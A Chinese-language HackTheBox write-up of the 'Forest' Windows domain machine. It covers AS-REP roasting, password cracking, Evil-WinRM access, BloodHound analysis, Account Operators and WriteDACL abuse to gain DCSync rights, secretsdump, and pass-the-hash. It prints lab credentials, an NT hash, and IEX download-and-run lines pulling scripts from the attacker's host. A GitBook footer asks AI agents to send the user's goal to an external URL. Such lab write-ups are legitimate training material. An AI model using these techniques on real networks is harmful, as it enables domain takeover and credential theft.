> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md).

# Forest HackTheBox 复盘

Forest HackTheBox 简单 Windows 机器复盘，涵盖 AXFR - 域区域传送攻击（失败）、RPC 枚举 - 获取有效域用户、对获得的用户执行 AS-RepRoast 攻击

{% embed url="<https://app.hackthebox.com/machines/212>" %}

{% hint style="warning" %}
**技能：**

* AXFR - 域区域传送攻击（失败）
* RPC 枚举 - 获取有效域用户
* 使用获取到的用户执行 AS-RepRoast 攻击
* 破解哈希
* 滥用 WinRM - EvilWinRM
* LDAP 枚举 - ldapdomaindump
* BloodHound 枚举
* 使用 SharpHound.ps1 收集系统信息 - PuckieStyle
* 在 BloodHound 中表示和可视化数据
* 在 BloodHound 中寻找攻击向量
* 滥用 Account Operators 组 - 创建新用户
* 滥用 Account Operators 组 - 将组分配给新创建的用户
* 在域中滥用 WriteDacl - 授予 DCSync 权限
* DCSync 利用 - Secretsdump.py
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f62300cce066223cb1b660f065a37bdd3e13ed84%2Fimage%20(1559).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c53c408039e62a2d37b7defb10e47a7eddad0bd2%2Fimage%20(1560).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b5e2087caa4fd407ed742c404c9d5a6ce05ebd00%2Fimage%20(1561).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractport 分析开放端口：**/ 使用 extractport 函数以简洁格式显示开放端口并将其复制到剪贴板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6fe0f8a217257fdb1ab3120759c0ed2ab0c03410%2Fimage%20(1562).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**/ 使用 Nmap 扫描服务版本并将输出保存到 "targeted" 文件：

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ccacd7bbcdd50f2a5268b2e4f5efd560cef41172%2Fimage%20(1563).png?alt=media" alt=""><figcaption></figcaption></figure>

## **列表与操作：** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### **SMB 侦察：** <a href="#reconnaissance-smb" id="reconnaissance-smb"></a>

使用 CrackMapExec 识别操作系统

```bash
crackmapexec cmb 10.10.10.161
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c249b9b0946cf55be4bb55efa8833429b834c791%2Fimage%20(1564).png?alt=media" alt=""><figcaption></figcaption></figure></div>

为了通过 DNS 将域名解析为 IP 地址，将与其 IP 地址/关联的域名插入到 `/etc/hosts` 文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ccbe548b7042afef02b39c95487a4ba7d6577d2a%2Fimage%20(1566).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/探索网络上的 SMB 共享以识别共享资源，但没有结果。//*

```bash
crackmapexec smb 10.10.10.161 --shares
```

```bash
smbclient -L 10.10.10.161 -N
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ead32c7cab9614c854b972ad27bafea487033144%2Fimage%20(1565).png?alt=media" alt=""><figcaption></figcaption></figure>

### **RPC 侦察：** <a href="#reconnaissance-rpc" id="reconnaissance-rpc"></a>

使用 rpcclient 与 CPP 服务交互并收集资源信息

```bash
rpccclient -U "" 10.10.10.161 -N
enumdomusers
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8ba2900412473c9125cb98ea67e44eb358aa820b%2Fimage%20(1567).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 列出组：

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a05b4db631f36c83d6747ada6553d52ba4e07944%2Fimage%20(1569).png?alt=media" alt=""><figcaption></figcaption></figure>

## ASREPRoast 攻击：

#### 有了有效用户列表后，我们将进行 AS-RepRoast 攻击，因为我们不需要用户密码。

我们将使用 `grep` 用于过滤用户名，然后将这些数据插入到文件中

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2897e55ebec297609a6e790c7af63be8549f0f3b%2Fimage%20(1568).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 我们使用 GetNPUsers.py 工具在没有密码的情况下提取用户信息：

```bash
GetNPUsers.py htb.local/ -no-pass -usersfile users
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b903484512efe33896f29aab34df9a878327d1f0%2Fimage%20(1570).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 我们获取用户“lucinda”的密码哈希，并尝试使用预定义密码字典用 John the Ripper 进行破解：

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b026f80d2eaafada249a1a317847289f89b7a0d%2Fimage%20(1571).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 我们使用 CrackMapExec 通过尝试 WinRM 连接来检查破解出的密码是否正确：

```bash
crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-da5bd730d33010e5692d67ebd33414e7ec559312%2Fimage%20(1573).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### 最后，我们使用 Evil-WinRM 通过破解得到的凭据连接到远程机器：

```bash
evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05ccf5014908a55a42a3df732615aac6f50849b4%2Fimage%20(1574).png?alt=media" alt=""><figcaption></figcaption></figure>

## 权限提升：

### 使用 BloodHound 进行域枚举 <a href="#domain-enumeration-with-bloodhound" id="domain-enumeration-with-bloodhound"></a>

<details>

<summary>安装 BloodHound：</summary>

```
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

/*/使用 neo4j:neo4j 登录 BloodHound。//*

![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74)

**启动 BloodHound。**

```bash
bloodhound &> /dev/null & disown
```

</details>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cbcf772d4073c8f4c688f1d43a11e86a1f21ac8%2Fimage%20(1577).png?alt=media" alt=""><figcaption></figcaption></figure>

### 使用 SharpHound.ps1 收集信息 <a href="#collect-information-with-sharphound.ps1" id="collect-information-with-sharphound.ps1"></a>

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

### 将收集到的数据传输到 Linux 服务器。

```bash
python3 -m http.server 80
```

```bash
IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1')
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a888b288ff4a8bbe355123bae68ab253b90ff436%2Fimage%20(2121).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
Invoke-BloodHound -CollectionMethod All
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ddd4a56c1a63d03f39c28dfaffa41edccf140c30%2Fimage%20(2122).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 我们将 zip 文件传输给我们的团队。

```bash
download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fd1a8153a045da19da182b5ecb8be5b3cd8e6e7%2Fimage%20(2123).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/在 BloodHound 中导入 zip 文件。//*

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-badb346b1ce8b764467faf062f8afd287e72a5d3%2Fimage%20(1555).png?alt=media" alt=""><figcaption></figcaption></figure>

### BloodHound 分析与操作 <a href="#analyse-et-exploitation" id="analyse-et-exploitation"></a>

#### 过滤数据以找到到域管理员的最短路径。

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56d48ef789079360505f1028687332b5a42b541b%2Fimage%20(1556).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### 识别可能有问题的组（Account Operator）中的成员身份。

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-141df2341334f9a3fb6def4a3eaa6ecdef4cfe99%2Fimage%20(1557).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-90c071d0bc48a17d5b9247399d726b49a67c0856%2Fimage%20(1558).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### 利用创建用户的能力来准备 DCSync 攻击。

```bash
net user jordanmacia password123$ /add /domain
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-119ea87726b1f0e249b20ca1e0d789e2f785e592%2Fimage%20(2125).png?alt=media" alt=""><figcaption></figcaption></figure>

### 在没有足够权限的情况下尝试 DCSync

```bash
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a90df4cc9870e24d40d846a272bf74eebd9a937e%2Fimage%20(2127).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 将用户添加到具有更高权限的组（`Exchange Windows Permissions`).

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8083f0f7d784e1ecbea76aa408400cc0c487366%2Fimage%20(2128).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
net group "Exchange Windows Permissions" jordanmacia /add
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92e62d1e545d3efb2e432b19c9d617fa87c32600%2Fimage%20(2130).png?alt=media" alt=""><figcaption></figcaption></figure>

### WriteDACL 攻击：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8ec48c1226e4b7790523073572b707314c4bbc2%2Fimage%20(2131).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
$SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword)
```

准备使用 PowerView\.ps1 添加功能的 WriteDACL 攻击。

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d828bd2214a9c47423c6a7a999178504da4cf9ad%2Fimage%20(2132).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 传输文件

```
python3 -m http.server 80
```

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')"
```

## DCSync 攻击漏洞 <a href="#dcsync-attack-vulnerability" id="dcsync-attack-vulnerability"></a>

#### 运行 Add-DomainObjectAcl 命令以获取哈希值。

```
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync
```

#### 使用 Impacket 通过用户 jordanmacia 提取哈希值。

```
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ab462571d16f82401e7dabe9952b9985939e990%2Fimage%20(2133).png?alt=media" alt=""><figcaption></figcaption></figure>

### 哈希传递攻击：

使用管理员的 NT 哈希进行哈希传递攻击。

```bash
evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'
```

#### 使用管理员权限访问系统。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec7d36b08714df1a2e945cc4005afd82e582100f%2Fimage%20(2134).png?alt=media" alt=""><figcaption></figcaption></figure>

### 最终 Flag :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-144436433378152ef3437d52df416d5bd22b6081%2Fimage%20(2135).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f56ab45377213ae666b2737dcd78217333aa616%2Fimage%20(1413).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
